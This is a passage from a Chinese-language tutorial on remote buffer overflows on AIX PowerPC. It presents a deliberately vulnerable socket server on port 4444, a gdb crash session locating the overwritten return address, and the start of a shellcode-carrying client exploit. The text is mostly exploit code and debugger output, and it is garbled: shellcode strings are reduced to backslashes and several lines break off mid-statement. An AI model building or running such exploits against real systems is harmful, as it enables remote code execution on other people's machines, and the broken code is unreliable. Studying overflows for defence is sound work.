\ \ \ \ \ \ \ \ \ \ \ \;
int main() {
int jump[2]={(int)lsd,0}; ((*(void (*)())jump)()); }
有了可用的shellcode,那么可以尝试一下远程溢出的示例了:
/* server.c - overflow demo *
* 2004.06.16 * san@nsfocus.com */
#include
char Buff[1024];
void overflow(char * s,int size) {
char s1[50];
printf(\ s[size]=0; //strcpy(s1,s); memcpy(s1, s, size);
sync(); // 溢出后必须有一些操作产生系统调用,否则直接返回后又会碰到I-cache的问题,shellcode是无法执行的 }
int main(int argc, char *argv[]) {
int s, c, ret, lBytesRead; struct sockaddr_in srv;
s = socket(AF_INET, SOCK_STREAM, 0); srv.sin_addr.s_addr = INADDR_ANY; srv.sin_port = htons(4444); srv.sin_family = AF_INET;
bind(s, &srv, sizeof(srv)); listen(s, 3);
c = accept(s,NULL,NULL);
while(1) {
lBytesRead = recv(c, Buff, 1024, 0); if(lBytesRead<=0) break;
printf(\ overflow(Buff, lBytesRead);
ret=send(c,Buff,lBytesRead,0); if(ret<=0) break; }
close(s); close(c); }
远程溢出的调试和本地没有什么两样,关键是找到溢出点,远程溢出可能需要构造古怪的数据包来溢出服务程序。返回地址和需要覆盖的缓冲区大小可以用gdb调试出来,在一个终端用gdb加载server或者attach也行:
-bash-2.05b$ gdb server GNU gdb 6.1
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type \
There is absolutely no warranty for GDB. Type \This GDB was configured as \(gdb) r
Starting program: /home/san/server
客户端连接服务,并且发送数据来让服务端崩溃:
-bash-2.05b$ telnet localhost 4444 Trying...
Connected to localhost. Escape character is '^]'.
ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD 服务端:
Program received signal SIGSEGV, Segmentation fault. 0x41424344 in ?? () (gdb) x/8x $r1
0x2ff22b58: 0x41424344 0x41424344 0x41424344 0x0d0a6648 0x2ff22b68: 0x00000000 0x20001000 0x20001110 0x0000005e
只需把崩溃时r1+8的内容覆盖即可,这就是函数返回后lr寄存器的值,程序会跳入这个地址,这在前面第四节学习AIX PowerPC的溢出技术时已经提到过。这时寄存器的值:
(gdb) i reg
r0 0x41424344 1094861636 r1 0x2ff22b58 804399960 r2 0x20001000 536875008 r3 0x1757180 24473984 r4 0x0 0
r5 0x2ff22ffc 804401148 r6 0xd032 53298 r7 0x0 0
r8 0x60000000 1610612736 r9 0x600045f0 1610630640 r10 0x0 0
r11 0x60003bca 1610628042 r12 0x2ff3b400 804500480 r13 0xdeadbeef -559038737 r14 0x1 1
r15 0x2ff22c08 804400136 r16 0x2ff22c10 804400144 r17 0x0 0
r18 0xdeadbeef -559038737 r19 0xdeadbeef -559038737 r20 0xdeadbeef -559038737 r21 0xdeadbeef -559038737
r22 0xdeadbeef -559038737 r23 0xdeadbeef -559038737 r24 0xdeadbeef -559038737 r25 0xdeadbeef -559038737 r26 0xdeadbeef -559038737 r27 0xdeadbeef -559038737 r28 0x20000640 536872512 r29 0x10000000 268435456 r30 0x3 3
r31 0x41424344 1094861636 pc 0x41424344 1094861636 ps 0x4000d032 1073795122 cr 0x2a222828 706881576 lr 0x41424344 1094861636 ctr 0x0 0 xer 0x0 0 fpscr 0x0 0 vscr 0x0 0 vrsave 0x0 0
调试了需要覆盖的缓冲区大小和溢出时缓冲区的地址后,就可以方便的写溢出攻击程序了:
/* client.c - remote overflow demo *
* 2004.06.16 * san@nsfocus.com */
#include
// It needs adjust. #define RET 0x2ff22d88;
unsigned char sh_Buff[] =
\ \ \ \ \ \ \ \
\ \ \ /* listen=0x8b naccept=0x8a */ /* kfcntl=0x142 */
\ \ \
\ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \